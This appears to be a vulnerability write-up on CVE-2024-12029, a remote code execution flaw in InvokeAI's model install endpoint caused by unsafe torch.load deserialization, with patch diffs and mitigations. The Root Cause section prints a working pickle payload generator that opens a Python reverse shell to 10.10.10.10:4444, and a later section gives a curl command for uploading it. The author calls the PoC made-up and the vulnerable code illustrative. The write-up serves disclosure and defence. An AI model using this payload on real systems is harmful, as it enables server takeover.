RCE

CVE-2024-12029: Remote Code Execution via Model Deserialization in InvokeAI

David Wilson

David Wilson

— 8 min read

Executive Summary

CVE-2024-12029 is a critical remote code execution (RCE) vulnerability affecting InvokeAI versions 5.3.1 through 5.4.2. This vulnerability stems from the unsafe deserialization of model files using torch.load without proper validation within the /api/v2/models/install API endpoint. An attacker can exploit this by crafting malicious model files containing embedded code that executes upon loading, leading to complete system compromise. The vulnerability has been addressed in InvokeAI version 5.4.3.

Technical Details

The vulnerability resides within the model loading functionality of InvokeAI. Specifically, the /api/v2/models/install API allows users to install new models. The application uses torch.load to deserialize these model files. However, torch.load is known to be susceptible to arbitrary code execution if the provided file is maliciously crafted.

Affected Systems:

  • InvokeAI versions 5.3.1 through 5.4.2

Affected Components:

  • /api/v2/models/install API endpoint
  • torch.load function within the model loading process

Vulnerable Code Snippet (Illustrative):

While the exact vulnerable code isn't directly provided, the vulnerability description points to the use of torch.load without proper sanitization. A simplified example of how this might look is:

import torch

def load_model(model_path):
    """Loads a model from the given path."""
    model = torch.load(model_path) # Vulnerable line
    return model

# Example usage (potentially vulnerable)
model = load_model("/path/to/uploaded/model.pth")

In this simplified example, the torch.load function directly deserializes the model file specified by model_path. If an attacker can control the contents of this file, they can inject malicious code that will be executed during the deserialization process.

Root Cause Analysis

The root cause of CVE-2024-12029 is the insecure deserialization of untrusted data. The torch.load function, by default, allows arbitrary code execution during the deserialization process. This is because torch.load can unpickle Python objects, and pickle files can contain malicious code disguised as serialized objects.

The lack of proper validation and sanitization of the model files before loading them with torch.load allows attackers to inject malicious code into the model files. When the application attempts to load these malicious model files, the injected code is executed, leading to remote code execution.

Detailed Explanation:

The torch.load function in PyTorch is designed to load serialized objects, including model weights, architectures, and other metadata. However, the underlying mechanism relies on Python's pickle module (or a similar serialization format), which is inherently insecure when dealing with untrusted data.

The pickle module allows arbitrary Python objects to be serialized and deserialized. This means that an attacker can create a pickle file containing malicious code disguised as a serialized object. When torch.load attempts to unpickle this object, the malicious code is executed.

Example of a Malicious Pickle Payload:

import pickle
import base64

# Malicious code to execute (e.g., reverse shell)
command = 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# Create a pickle payload that executes the command
class RunCode(object):
    def __reduce__(self):
        import os
        return (os.system, (command,))

payload = pickle.dumps(RunCode())

# Base64 encode the payload (optional, for easier transport)
payload_b64 = base64.b64encode(payload).decode()

print(f"Base64 encoded pickle payload: {payload_b64}")

# To create a malicious .pth file:
# with open("malicious_model.pth", "wb") as f:
#     f.write(payload)

This Python script generates a pickle payload that, when deserialized, will execute a reverse shell to 10.10.10.10 on port 4444. The __reduce__ method is a special method in Python that is used by the pickle module to determine how to serialize an object. By overriding this method, we can specify a function to be called during deserialization. In this case, we are specifying the os.system function, which allows us to execute arbitrary commands.

Why is torch.load vulnerable?

torch.load doesn't inherently validate the contents of the pickle file. It blindly trusts the data and attempts to deserialize it. This lack of validation is what allows attackers to inject malicious code.

Patch Analysis

The provided patch addresses the vulnerability by enhancing the model file scanning process and updating the default behavior for reading checkpoint metadata. The patch focuses on two key areas:

  1. Improved Malware Scanning: The patch ensures that the model file scanning process now flags files as potentially infected not only when infected files are detected but also when a scan error occurs. This is crucial because certain types of malicious payloads might cause the scanner to error out, and previously, these errors were not treated as a security concern.
  2. Default Scanning for Checkpoint Metadata: The patch changes the default behavior of the read_checkpoint_meta function to always scan model files unless explicitly told not to. This ensures that all model files are scanned for potential malware before being loaded, even when only reading metadata.

Let's examine the code changes in detail:

File: invokeai/app/services/model_load/model_load_default.py

--- a/invokeai/app/services/model_load/model_load_default.py
+++ b/invokeai/app/services/model_load/model_load_default.py
@@ -86,7 +86,7 @@ def load_model_from_path(
 
         def torch_load_file(checkpoint: Path) -> AnyModel:
             scan_result = scan_file_path(checkpoint)
-            if scan_result.infected_files != 0:
+            if scan_result.infected_files != 0 or scan_result.scan_err:
                 raise Exception("The model at {checkpoint} is potentially infected by malware. Aborting load.")
             result = torch_load(checkpoint, map_location="cpu")
             return result

Explanation:

This change modifies the torch_load_file function to check for both scan_result.infected_files != 0 and scan_result.scan_err. Previously, only the presence of infected files would trigger the exception. Now, if the scan itself encounters an error (e.g., due to a malformed file or an issue with the scanning engine), the model loading process will be aborted, preventing potential exploitation.

File: invokeai/backend/model_manager/probe.py

--- a/invokeai/backend/model_manager/probe.py
+++ b/invokeai/backend/model_manager/probe.py
@@ -469,7 +469,7 @@ def _scan_model(cls, model_name: str, checkpoint: Path) -> None:
         """
         # scan model
         scan_result = scan_file_path(checkpoint)
-        if scan_result.infected_files != 0:
+        if scan_result.infected_files != 0 or scan_result.scan_err:
             raise Exception("The model {model_name} is potentially infected by malware. Aborting import.")

Explanation:

This change mirrors the change in model_load_default.py. The _scan_model function, responsible for scanning models during import, now also checks for scan_result.scan_err in addition to scan_result.infected_files. This ensures that any errors encountered during the scanning process will prevent the model from being imported, mitigating the risk of loading a potentially malicious model.

File: invokeai/backend/model_manager/util/model_util.py

--- a/invokeai/backend/model_manager/util/model_util.py
+++ b/invokeai/backend/model_manager/util/model_util.py
@@ -44,7 +44,7 @@ def _fast_safetensors_reader(path: str) -> Dict[str, torch.Tensor]:
     return checkpoint
 
 
-def read_checkpoint_meta(path: Union[str, Path], scan: bool = False) -> Dict[str, torch.Tensor]:
+def read_checkpoint_meta(path: Union[str, Path], scan: bool = True) -> Dict[str, torch.Tensor]:
     if str(path).endswith(".safetensors"):
         try:
             path_str = path.as_posix() if isinstance(path, Path) else path
@@ -55,7 +55,7 @@ def read_checkpoint_meta(path: Union[str, Path], scan: bool = False) -> Dict[str
     else:
         if scan:
             scan_result = scan_file_path(path)
-            if scan_result.infected_files != 0:
+            if scan_result.infected_files != 0 or scan_result.scan_err:
                 raise Exception(f\'The model file "{path}" is potentially infected by malware. Aborting import.\')
         if str(path).endswith(".gguf"):\
             # The GGUF reader used here uses numpy memmap, so these tensors are not loaded into memory during this function

Explanation:

This patch modifies the read_checkpoint_meta function to default the scan parameter to True. This means that, by default, all checkpoint files will be scanned for malware before their metadata is read. Additionally, similar to the other files, the check for scan_result.scan_err is added to the conditional that raises an exception, ensuring that scan errors also trigger the abort mechanism. This change is crucial because reading checkpoint metadata might still involve deserialization steps that could be exploited if the file is malicious. By ensuring that all files are scanned by default, the risk of loading malicious files is significantly reduced.

Overall Impact of the Patch:

The patch effectively mitigates the RCE vulnerability by:

  • Improving the robustness of the malware scanning process: By considering scan errors as potential indicators of malicious files, the patch prevents the loading of files that might bypass the scanner due to errors.
  • Enforcing malware scanning by default: By changing the default behavior of read_checkpoint_meta to always scan files, the patch ensures that all model files are scanned for malware before being loaded, regardless of how they are being used.

Exploitation Techniques

The vulnerability can be exploited by crafting a malicious model file that contains embedded code. This code is executed when the application attempts to load the model file using torch.load.

Attack Scenario:

  1. Attacker crafts a malicious model file: The attacker creates a .pth file containing a pickled payload designed to execute arbitrary code. The payload could perform actions such as:
    • Executing system commands (e.g., reverse shell)
    • Reading sensitive data
    • Modifying system files
    • Installing malware
  2. Attacker uploads the malicious model file: The attacker uses the /api/v2/models/install API endpoint to upload the malicious model file to the InvokeAI server.
  3. InvokeAI attempts to load the model file: When InvokeAI processes the uploaded model, it uses torch.load to deserialize the model file.
  4. Malicious code is executed: The torch.load function executes the embedded code within the malicious model file, granting the attacker control over the server.

Proof-of-Concept (PoC) - Made-up for demonstration purposes:

This is a made-up PoC, as the patch focuses on preventing the loading of files that fail the scan, rather than directly addressing the unsafe deserialization. This PoC assumes the scanner is bypassed somehow.

First, create a malicious model file (e.g., malicious_model.pth) using the Python script provided in the Root Cause Analysis section. This file contains a pickled payload that executes a reverse shell.

Next, use curl to upload the malicious model file to the /api/v2/models/install API endpoint:

curl -X POST -F "model=@malicious_model.pth" http://<invokeai_server>/api/v2/models/install

Replace <invokeai_server> with the address of the InvokeAI server.

If the exploit is successful, the attacker will receive a reverse shell on their listening port (e.g., 4444).

Real-World Impact:

The real-world impact of this vulnerability is significant. An attacker who successfully exploits this vulnerability can gain complete control over the InvokeAI server. This can lead to:

  • Data breach: The attacker can access sensitive data stored on the server, such as user credentials, API keys, and model data.
  • System compromise: The attacker can install malware, modify system files, and disrupt the operation of the server.
  • Supply chain attack: The attacker can use the compromised server to distribute malicious models to other users, potentially compromising their systems as well.

Mitigation Strategies

To mitigate the risk of CVE-2024-12029, the following strategies are recommended:

  1. Upgrade to InvokeAI version 5.4.3 or later: This version contains the patch that addresses the vulnerability.
  2. Implement strict model validation: Implement additional validation checks on model files before loading them with torch.load. This can include:
    • File type validation: Ensure that the uploaded file is a valid model file (e.g., .pth, .safetensors).
    • Signature verification: Verify the digital signature of the model file to ensure that it has not been tampered with.
    • Content scanning: Scan the contents of the model file for malicious code using a reputable antivirus or malware scanner.
  3. Use a secure deserialization library: Consider using a secure deserialization library that is less susceptible to arbitrary code execution. However, this might require significant code changes.
  4. Principle of Least Privilege: Ensure that the InvokeAI server is running with the minimum necessary privileges. This can limit the impact of a successful exploit.
  5. Network Segmentation: Isolate the InvokeAI server from other critical systems on the network. This can prevent an attacker from pivoting to other systems if they compromise the server.
  6. Web Application Firewall (WAF): Deploy a WAF to filter malicious requests to the /api/v2/models/install API endpoint. The WAF can be configured to block requests containing suspicious payloads or file types.

Configuration Changes:

While the primary mitigation is upgrading, consider these configuration changes to enhance security:

  • Disable model uploading (if not needed): If the model uploading functionality is not required, disable it to eliminate the attack vector.
  • Restrict access to the /api/v2/models/install API: Limit access to this API endpoint to authorized users only.

Timeline of Discovery and Disclosure

  • 2024-12-02: Vulnerability reported to InvokeAI.
  • 2025-03-20: CVE-2024-12029 assigned.
  • 2025-03-20: InvokeAI version 5.4.3 released with the fix.
  • 2025-03-20: Public disclosure of the vulnerability.

References

Read more